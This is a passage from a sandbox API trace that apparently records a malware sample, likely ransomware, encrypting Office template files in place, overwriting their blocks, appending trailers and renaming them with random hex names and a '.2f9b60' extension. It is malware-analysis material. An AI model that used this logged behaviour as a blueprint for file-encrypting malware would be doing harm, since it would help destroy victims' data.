returned 0x1ce5c150 [0194.711] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce5b0b0 [0194.711] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c1bb10 [0194.712] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c1bb10) returned 1 [0194.712] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x20451ef0 [0194.712] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c1bb10 [0194.712] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c1ba50 [0194.713] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c1ba50) returned 1 [0194.713] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5b0b0) returned 1 [0194.714] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5c150) returned 1 [0194.714] WriteFile (in: hFile=0x1e24, lpBuffer=0x20451ef0*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x384efa60, lpOverlapped=0x0 | out: lpBuffer=0x20451ef0*, lpNumberOfBytesWritten=0x384efa60*=0x3c00, lpOverlapped=0x0) returned 1 [0205.612] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20451ef0) returned 1 [0205.612] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x60) returned 0x431a0470 [0205.612] SetFilePointerEx (in: hFile=0x1e24, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0205.613] WriteFile (in: hFile=0x1e24, lpBuffer=0x19ed20*, nNumberOfBytesToWrite=0x16e, lpNumberOfBytesWritten=0x384efb10, lpOverlapped=0x0 | out: lpBuffer=0x19ed20*, lpNumberOfBytesWritten=0x384efb10*=0x16e, lpOverlapped=0x0) returned 1 [0215.858] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce61600 [0215.858] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1cebbbe0 [0215.859] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a8c0 [0215.859] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a8c0) returned 1 [0215.859] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c) returned 0x1ce61560 [0215.859] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a8c0 [0215.860] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a890 [0215.860] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a890) returned 1 [0215.861] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cebbbe0) returned 1 [0215.861] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce61600) returned 1 [0215.861] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x79) returned 0x202a4770 [0215.861] sprintf (in: _Dest=0x202a4770, _Format="%c%c" | out: _Dest="59") returned 2 [0215.861] sprintf (in: _Dest=0x202a4772, _Format="%c%c" | out: _Dest="16") returned 2 [0215.862] sprintf (in: _Dest=0x202a4774, _Format="%c%c" | out: _Dest="e3") returned 2 [0215.862] sprintf (in: _Dest=0x202a4776, _Format="%c%c" | out: _Dest="44") returned 2 [0215.862] sprintf (in: _Dest=0x202a4778, _Format="%c%c" | out: _Dest="a7") returned 2 [0215.862] sprintf (in: _Dest=0x202a477a, _Format="%c%c" | out: _Dest="a4") returned 2 [0215.862] sprintf (in: _Dest=0x202a477c, _Format="%c%c" | out: _Dest="c0") returned 2 [0215.862] sprintf (in: _Dest=0x202a477e, _Format="%c%c" | out: _Dest="fc") returned 2 [0215.862] sprintf (in: _Dest=0x202a4780, _Format="%c%c" | out: _Dest="b3") returned 2 [0215.862] sprintf (in: _Dest=0x202a4782, _Format="%c%c" | out: _Dest="6a") returned 2 [0215.862] sprintf (in: _Dest=0x202a4784, _Format="%c%c" | out: _Dest="6b") returned 2 [0215.862] sprintf (in: _Dest=0x202a4786, _Format="%c%c" | out: _Dest="f7") returned 2 [0215.862] sprintf (in: _Dest=0x202a4788, _Format="%c%c" | out: _Dest="29") returned 2 [0215.862] sprintf (in: _Dest=0x202a478a, _Format="%c%c" | out: _Dest="57") returned 2 [0215.862] sprintf (in: _Dest=0x202a478c, _Format="%c%c" | out: _Dest="93") returned 2 [0215.862] sprintf (in: _Dest=0x202a478e, _Format="%c%c" | out: _Dest="ab") returned 2 [0215.862] sprintf (in: _Dest=0x202a4790, _Format="%c%c" | out: _Dest="3b") returned 2 [0215.862] sprintf (in: _Dest=0x202a4792, _Format="%c%c" | out: _Dest="e1") returned 2 [0215.862] sprintf (in: _Dest=0x202a4794, _Format="%c%c" | out: _Dest="fd") returned 2 [0215.862] sprintf (in: _Dest=0x202a4796, _Format="%c%c" | out: _Dest="73") returned 2 [0215.862] sprintf (in: _Dest=0x202a4798, _Format="%c%c" | out: _Dest="b9") returned 2 [0215.862] sprintf (in: _Dest=0x202a479a, _Format="%c%c" | out: _Dest="8a") returned 2 [0215.862] sprintf (in: _Dest=0x202a479c, _Format="%c%c" | out: _Dest="e2") returned 2 [0215.862] sprintf (in: _Dest=0x202a479e, _Format="%c%c" | out: _Dest="e8") returned 2 [0215.862] sprintf (in: _Dest=0x202a47a0, _Format="%c%c" | out: _Dest="44") returned 2 [0215.862] sprintf (in: _Dest=0x202a47a2, _Format="%c%c" | out: _Dest="8d") returned 2 [0215.862] sprintf (in: _Dest=0x202a47a4, _Format="%c%c" | out: _Dest="75") returned 2 [0215.862] sprintf (in: _Dest=0x202a47a6, _Format="%c%c" | out: _Dest="30") returned 2 [0215.862] sprintf (in: _Dest=0x202a47a8, _Format="%c%c" | out: _Dest="8e") returned 2 [0215.862] sprintf (in: _Dest=0x202a47aa, _Format="%c%c" | out: _Dest="92") returned 2 [0215.862] sprintf (in: _Dest=0x202a47ac, _Format="%c%c" | out: _Dest="69") returned 2 [0215.862] sprintf (in: _Dest=0x202a47ae, _Format="%c%c" | out: _Dest="08") returned 2 [0215.862] sprintf (in: _Dest=0x202a47b0, _Format="%c%c" | out: _Dest="09") returned 2 [0215.862] sprintf (in: _Dest=0x202a47b2, _Format="%c%c" | out: _Dest="a0") returned 2 [0215.862] sprintf (in: _Dest=0x202a47b4, _Format="%c%c" | out: _Dest="06") returned 2 [0215.862] sprintf (in: _Dest=0x202a47b6, _Format="%c%c" | out: _Dest="9a") returned 2 [0215.862] sprintf (in: _Dest=0x202a47b8, _Format="%c%c" | out: _Dest="2f") returned 2 [0215.863] sprintf (in: _Dest=0x202a47ba, _Format="%c%c" | out: _Dest="fa") returned 2 [0215.863] sprintf (in: _Dest=0x202a47bc, _Format="%c%c" | out: _Dest="7e") returned 2 [0215.863] sprintf (in: _Dest=0x202a47be, _Format="%c%c" | out: _Dest="8c") returned 2 [0215.863] sprintf (in: _Dest=0x202a47c0, _Format="%c%c" | out: _Dest="ea") returned 2 [0215.863] sprintf (in: _Dest=0x202a47c2, _Format="%c%c" | out: _Dest="12") returned 2 [0215.863] sprintf (in: _Dest=0x202a47c4, _Format="%c%c" | out: _Dest="e6") returned 2 [0215.863] sprintf (in: _Dest=0x202a47c6, _Format="%c%c" | out: _Dest="54") returned 2 [0215.863] sprintf (in: _Dest=0x202a47c8, _Format="%c%c" | out: _Dest="82") returned 2 [0215.863] sprintf (in: _Dest=0x202a47ca, _Format="%c%c" | out: _Dest="bd") returned 2 [0215.863] sprintf (in: _Dest=0x202a47cc, _Format="%c%c" | out: _Dest="96") returned 2 [0215.863] sprintf (in: _Dest=0x202a47ce, _Format="%c%c" | out: _Dest="96") returned 2 [0215.863] sprintf (in: _Dest=0x202a47d0, _Format="%c%c" | out: _Dest="02") returned 2 [0215.863] sprintf (in: _Dest=0x202a47d2, _Format="%c%c" | out: _Dest="8e") returned 2 [0215.863] sprintf (in: _Dest=0x202a47d4, _Format="%c%c" | out: _Dest="6d") returned 2 [0215.863] sprintf (in: _Dest=0x202a47d6, _Format="%c%c" | out: _Dest="21") returned 2 [0215.863] sprintf (in: _Dest=0x202a47d8, _Format="%c%c" | out: _Dest="47") returned 2 [0215.863] sprintf (in: _Dest=0x202a47da, _Format="%c%c" | out: _Dest="d1") returned 2 [0215.863] sprintf (in: _Dest=0x202a47dc, _Format="%c%c" | out: _Dest="b4") returned 2 [0215.863] sprintf (in: _Dest=0x202a47de, _Format="%c%c" | out: _Dest="5b") returned 2 [0215.863] sprintf (in: _Dest=0x202a47e0, _Format="%c%c" | out: _Dest="9a") returned 2 [0215.863] sprintf (in: _Dest=0x202a47e2, _Format="%c%c" | out: _Dest="e6") returned 2 [0215.863] sprintf (in: _Dest=0x202a47e4, _Format="%c%c" | out: _Dest="b1") returned 2 [0215.863] sprintf (in: _Dest=0x202a47e6, _Format="%c%c" | out: _Dest="00") returned 2 [0215.863] RtlInitAnsiString (in: DestinationString=0x384efb88, SourceString="5916e344a7a4c0fcb36a6bf7295793ab3be1fd73b98ae2e8448d75308e92690809a0069a2ffa7e8cea12e65482bd9696028e6d2147d1b45b9ae6b100" | out: DestinationString="5916e344a7a4c0fcb36a6bf7295793ab3be1fd73b98ae2e8448d75308e92690809a0069a2ffa7e8cea12e65482bd9696028e6d2147d1b45b9ae6b100") [0215.863] RtlAnsiStringToUnicodeString (in: DestinationString=0x384efb58, SourceString="5916e344a7a4c0fcb36a6bf7295793ab3be1fd73b98ae2e8448d75308e92690809a0069a2ffa7e8cea12e65482bd9696028e6d2147d1b45b9ae6b100", AllocateDestinationString=1 | out: DestinationString="5916e344a7a4c0fcb36a6bf7295793ab3be1fd73b98ae2e8448d75308e92690809a0069a2ffa7e8cea12e65482bd9696028e6d2147d1b45b9ae6b100") returned 0x0 [0215.863] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xf2) returned 0x1b78e380 [0215.864] wcscat (in: _Dest=0x4312aa20, _Source="5916e344a7a4c0fcb36a6bf7295793" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\5916e344a7a4c0fcb36a6bf7295793") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\5916e344a7a4c0fcb36a6bf7295793" [0215.864] wcscat (in: _Dest=0x4312aa20, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\5916e344a7a4c0fcb36a6bf7295793.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\5916e344a7a4c0fcb36a6bf7295793.2f9b60" [0215.864] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\5916e344a7a4c0fcb36a6bf7295793.2f9b60", NtPathName=0x384efb30, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Templates\\1033\\5916e344a7a4c0fcb36a6bf7295793.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0215.864] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xcc) returned 0x1cecfcc0 Thread: id = 2118 os_tid = 0x1454 [0138.946] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\LoanAmortization.xltx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\loanamortization.xltx")) returned 0x20 [0138.946] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\LoanAmortization.xltx", dwFileAttributes=0x20) returned 1 [0138.946] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\LoanAmortization.xltx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\loanamortization.xltx"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1c58 [0138.947] GetFileSizeEx (in: hFile=0x1c58, lpFileSize=0x38d5f860 | out: lpFileSize=0x38d5f860*=63137) returned 1 [0138.947] SetFilePointerEx (in: hFile=0x1c58, liDistanceToMove=0xf69d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0138.947] ReadFile (in: hFile=0x1c58, lpBuffer=0x38d5f7e0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x38d5f828, lpOverlapped=0x0 | out: lpBuffer=0x38d5f7e0*, lpNumberOfBytesRead=0x38d5f828*=0x4, lpOverlapped=0x0) returned 1 [0138.948] SetFilePointerEx (in: hFile=0x1c58, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0138.948] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205ad70 [0138.948] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205ae00 [0138.949] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205ae30 [0138.949] NtQuerySystemTime (in: CurrentTime=0x38d5f720 | out: CurrentTime=0x38d5f720*=132462177441826000) returned 0x0 [0138.949] RtlRandomEx (in: Seed=0x38d5f710 | out: Seed=0x38d5f710) returned 0x30e93e54 [0138.949] RtlRandomEx (in: Seed=0x38d5f710 | out: Seed=0x38d5f710) returned 0x7239347 [0138.949] RtlRandomEx (in: Seed=0x38d5f710 | out: Seed=0x38d5f710) returned 0x5987e763 [0138.949] RtlRandomEx (in: Seed=0x38d5f710 | out: Seed=0x38d5f710) returned 0xc096006 [0138.949] RtlRandomEx (in: Seed=0x38d5f710 | out: Seed=0x38d5f710) returned 0xa2dfe45 [0138.949] RtlRandomEx (in: Seed=0x38d5f710 | out: Seed=0x38d5f710) returned 0x31f24f53 [0138.949] RtlRandomEx (in: Seed=0x38d5f710 | out: Seed=0x38d5f710) returned 0x5ff060c4 [0138.949] RtlRandomEx (in: Seed=0x38d5f710 | out: Seed=0x38d5f710) returned 0x6c1e103a [0138.949] RtlRandomEx (in: Seed=0x38d5f710 | out: Seed=0x38d5f710) returned 0x57ad62d1 [0138.949] RtlRandomEx (in: Seed=0x38d5f710 | out: Seed=0x38d5f710) returned 0x7872dfd4 [0138.949] RtlRandomEx (in: Seed=0x38d5f710 | out: Seed=0x38d5f710) returned 0x5fc965cc [0138.949] RtlRandomEx (in: Seed=0x38d5f710 | out: Seed=0x38d5f710) returned 0x9b8792e [0138.949] RtlRandomEx (in: Seed=0x38d5f710 | out: Seed=0x38d5f710) returned 0x65a0daa2 [0138.949] RtlRandomEx (in: Seed=0x38d5f710 | out: Seed=0x38d5f710) returned 0x5ab0a051 [0138.949] RtlRandomEx (in: Seed=0x38d5f710 | out: Seed=0x38d5f710) returned 0x5f1986d4 [0138.949] RtlRandomEx (in: Seed=0x38d5f710 | out: Seed=0x38d5f710) returned 0x654b2922 [0138.949] RtlRandomEx (in: Seed=0x38d5f710 | out: Seed=0x38d5f710) returned 0x63e335d8 [0138.949] RtlRandomEx (in: Seed=0x38d5f710 | out: Seed=0x38d5f710) returned 0x746ac8a8 [0138.949] RtlRandomEx (in: Seed=0x38d5f710 | out: Seed=0x38d5f710) returned 0x77538a7d [0138.949] RtlRandomEx (in: Seed=0x38d5f710 | out: Seed=0x38d5f710) returned 0x55cf0d05 [0138.949] RtlRandomEx (in: Seed=0x38d5f710 | out: Seed=0x38d5f710) returned 0x4321bdd7 [0138.949] RtlRandomEx (in: Seed=0x38d5f710 | out: Seed=0x38d5f710) returned 0x6732e6c7 [0138.949] RtlRandomEx (in: Seed=0x38d5f710 | out: Seed=0x38d5f710) returned 0x36bc0400 [0138.949] RtlRandomEx (in: Seed=0x38d5f710 | out: Seed=0x38d5f710) returned 0x526e6328 [0138.950] RtlRandomEx (in: Seed=0x38d5f710 | out: Seed=0x38d5f710) returned 0x792089e9 [0138.950] RtlRandomEx (in: Seed=0x38d5f710 | out: Seed=0x38d5f710) returned 0x50545a83 [0138.950] RtlRandomEx (in: Seed=0x38d5f710 | out: Seed=0x38d5f710) returned 0x19281268 [0138.950] RtlRandomEx (in: Seed=0x38d5f710 | out: Seed=0x38d5f710) returned 0x7cf66be6 [0138.950] RtlRandomEx (in: Seed=0x38d5f710 | out: Seed=0x38d5f710) returned 0x410b6702 [0138.950] RtlRandomEx (in: Seed=0x38d5f710 | out: Seed=0x38d5f710) returned 0x6645b720 [0138.950] RtlRandomEx (in: Seed=0x38d5f710 | out: Seed=0x38d5f710) returned 0xbd1f085 [0138.950] RtlRandomEx (in: Seed=0x38d5f710 | out: Seed=0x38d5f710) returned 0x507de3e3 [0138.956] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205ae60 [0138.957] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x420612b0 [0138.957] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205ae90 [0138.957] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420612b0) returned 1 [0138.957] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205ae30) returned 1 [0138.957] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205ad70) returned 1 [0138.957] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x420ec5b0 [0138.958] SetFilePointerEx (in: hFile=0x1c58, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0138.958] ReadFile (in: hFile=0x1c58, lpBuffer=0x420ec5b0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x38d5f780, lpOverlapped=0x0 | out: lpBuffer=0x420ec5b0*, lpNumberOfBytesRead=0x38d5f780*=0x3c00, lpOverlapped=0x0) returned 1 [0139.045] SetFilePointerEx (in: hFile=0x1c58, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0139.045] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd977b0 [0139.045] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x420612b0 [0139.045] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205ad70 [0139.046] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205ad70) returned 1 [0139.046] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x420ff200 [0139.046] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205ad70 [0139.046] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205b070 [0139.046] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205b070) returned 1 [0139.046] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420612b0) returned 1 [0139.046] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd977b0) returned 1 [0139.046] WriteFile (hFile=0x1c58, lpBuffer=0x420ff200, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x38d5f780, lpOverlapped=0x0) [0170.838] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420ff200) returned 1 [0170.838] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420ec5b0) returned 1 [0170.838] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x38) returned 0x1b7aa7a0 [0170.839] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x420597e0 [0170.839] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20503f10 [0170.839] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c1ccb0 [0170.840] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c1ccb0) returned 1 [0170.840] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x38) returned 0x1cd9fef0 [0170.840] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c1ccb0 [0170.840] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c1cce0 [0170.841] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c1cce0) returned 1 [0170.841] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20503f10) returned 1 [0170.841] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420597e0) returned 1 [0170.841] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x11c) returned 0x42c207b0 [0170.842] SetFilePointerEx (in: hFile=0x1c58, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0170.842] WriteFile (in: hFile=0x1c58, lpBuffer=0x42c207b0*, nNumberOfBytesToWrite=0x11c, lpNumberOfBytesWritten=0x38d5f830, lpOverlapped=0x0 | out: lpBuffer=0x42c207b0*, lpNumberOfBytesWritten=0x38d5f830*=0x11c, lpOverlapped=0x0) returned 1 [0201.481] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce5c740 [0201.482] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85ee10 [0201.483] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204ff960 [0201.483] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204ff960) returned 1 [0201.483] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2a) returned 0x1ce5d830 [0201.484] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204ff960 [0201.484] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204ff930 [0201.485] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204ff930) returned 1 [0201.485] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85ee10) returned 1 [0201.486] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5c740) returned 1 [0201.486] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x55) returned 0x1b859390 [0201.486] sprintf (in: _Dest=0x1b859390, _Format="%c%c" | out: _Dest="96") returned 2 [0201.486] sprintf (in: _Dest=0x1b859392, _Format="%c%c" | out: _Dest="fb") returned 2 [0201.486] sprintf (in: _Dest=0x1b859394, _Format="%c%c" | out: _Dest="6e") returned 2 [0201.486] sprintf (in: _Dest=0x1b859396, _Format="%c%c" | out: _Dest="9f") returned 2 [0201.486] sprintf (in: _Dest=0x1b859398, _Format="%c%c" | out: _Dest="33") returned 2 [0201.486] sprintf (in: _Dest=0x1b85939a, _Format="%c%c" | out: _Dest="d9") returned 2 [0201.486] sprintf (in: _Dest=0x1b85939c, _Format="%c%c" | out: _Dest="9e") returned 2 [0201.486] sprintf (in: _Dest=0x1b85939e, _Format="%c%c" | out: _Dest="70") returned 2 [0201.486] sprintf (in: _Dest=0x1b8593a0, _Format="%c%c" | out: _Dest="8b") returned 2 [0201.486] sprintf (in: _Dest=0x1b8593a2, _Format="%c%c" | out: _Dest="e0") returned 2 [0201.486] sprintf (in: _Dest=0x1b8593a4, _Format="%c%c" | out: _Dest="23") returned 2 [0201.486] sprintf (in: _Dest=0x1b8593a6, _Format="%c%c" | out: _Dest="0b") returned 2 [0201.486] sprintf (in: _Dest=0x1b8593a8, _Format="%c%c" | out: _Dest="c6") returned 2 [0201.486] sprintf (in: _Dest=0x1b8593aa, _Format="%c%c" | out: _Dest="f6") returned 2 [0201.486] sprintf (in: _Dest=0x1b8593ac, _Format="%c%c" | out: _Dest="10") returned 2 [0201.486] sprintf (in: _Dest=0x1b8593ae, _Format="%c%c" | out: _Dest="a1") returned 2 [0201.486] sprintf (in: _Dest=0x1b8593b0, _Format="%c%c" | out: _Dest="47") returned 2 [0201.487] sprintf (in: _Dest=0x1b8593b2, _Format="%c%c" | out: _Dest="64") returned 2 [0201.487] sprintf (in: _Dest=0x1b8593b4, _Format="%c%c" | out: _Dest="d2") returned 2 [0201.487] sprintf (in: _Dest=0x1b8593b6, _Format="%c%c" | out: _Dest="a2") returned 2 [0201.487] sprintf (in: _Dest=0x1b8593b8, _Format="%c%c" | out: _Dest="97") returned 2 [0201.487] sprintf (in: _Dest=0x1b8593ba, _Format="%c%c" | out: _Dest="2e") returned 2 [0201.487] sprintf (in: _Dest=0x1b8593bc, _Format="%c%c" | out: _Dest="df") returned 2 [0201.487] sprintf (in: _Dest=0x1b8593be, _Format="%c%c" | out: _Dest="7f") returned 2 [0201.487] sprintf (in: _Dest=0x1b8593c0, _Format="%c%c" | out: _Dest="d9") returned 2 [0201.487] sprintf (in: _Dest=0x1b8593c2, _Format="%c%c" | out: _Dest="d8") returned 2 [0201.487] sprintf (in: _Dest=0x1b8593c4, _Format="%c%c" | out: _Dest="0e") returned 2 [0201.487] sprintf (in: _Dest=0x1b8593c6, _Format="%c%c" | out: _Dest="0e") returned 2 [0201.487] sprintf (in: _Dest=0x1b8593c8, _Format="%c%c" | out: _Dest="14") returned 2 [0201.487] sprintf (in: _Dest=0x1b8593ca, _Format="%c%c" | out: _Dest="ed") returned 2 [0201.487] sprintf (in: _Dest=0x1b8593cc, _Format="%c%c" | out: _Dest="92") returned 2 [0201.487] sprintf (in: _Dest=0x1b8593ce, _Format="%c%c" | out: _Dest="26") returned 2 [0201.487] sprintf (in: _Dest=0x1b8593d0, _Format="%c%c" | out: _Dest="55") returned 2 [0201.487] sprintf (in: _Dest=0x1b8593d2, _Format="%c%c" | out: _Dest="e3") returned 2 [0201.487] sprintf (in: _Dest=0x1b8593d4, _Format="%c%c" | out: _Dest="fa") returned 2 [0201.487] sprintf (in: _Dest=0x1b8593d6, _Format="%c%c" | out: _Dest="a0") returned 2 [0201.487] sprintf (in: _Dest=0x1b8593d8, _Format="%c%c" | out: _Dest="f7") returned 2 [0201.487] sprintf (in: _Dest=0x1b8593da, _Format="%c%c" | out: _Dest="85") returned 2 [0201.488] sprintf (in: _Dest=0x1b8593dc, _Format="%c%c" | out: _Dest="4e") returned 2 [0201.488] sprintf (in: _Dest=0x1b8593de, _Format="%c%c" | out: _Dest="ed") returned 2 [0201.488] sprintf (in: _Dest=0x1b8593e0, _Format="%c%c" | out: _Dest="d5") returned 2 [0201.488] sprintf (in: _Dest=0x1b8593e2, _Format="%c%c" | out: _Dest="b7") returned 2 [0201.488] RtlInitAnsiString (in: DestinationString=0x38d5f8a8, SourceString="96fb6e9f33d99e708be0230bc6f610a14764d2a2972edf7fd9d80e0e14ed922655e3faa0f7854eedd5b7" | out: DestinationString="96fb6e9f33d99e708be0230bc6f610a14764d2a2972edf7fd9d80e0e14ed922655e3faa0f7854eedd5b7") [0201.488] RtlAnsiStringToUnicodeString (in: DestinationString=0x38d5f878, SourceString="96fb6e9f33d99e708be0230bc6f610a14764d2a2972edf7fd9d80e0e14ed922655e3faa0f7854eedd5b7", AllocateDestinationString=1 | out: DestinationString="96fb6e9f33d99e708be0230bc6f610a14764d2a2972edf7fd9d80e0e14ed922655e3faa0f7854eedd5b7") returned 0x0 [0201.488] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xaa) returned 0x4314b920 [0201.488] wcscat (in: _Dest=0x431a7380, _Source="96fb6e9f33d99e708be02" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\96fb6e9f33d99e708be02") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\96fb6e9f33d99e708be02" [0201.488] wcscat (in: _Dest=0x431a7380, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\96fb6e9f33d99e708be02.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\96fb6e9f33d99e708be02.2f9b60" [0201.488] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\96fb6e9f33d99e708be02.2f9b60", NtPathName=0x38d5f850, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Templates\\1033\\96fb6e9f33d99e708be02.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0201.488] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xba) returned 0x4310b010 Thread: id = 2119 os_tid = 0x1458 [0138.958] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\MedianLetter.Dotx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\medianletter.dotx")) returned 0x20 [0138.959] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\MedianLetter.Dotx", dwFileAttributes=0x20) returned 1 [0138.960] CreateFileW 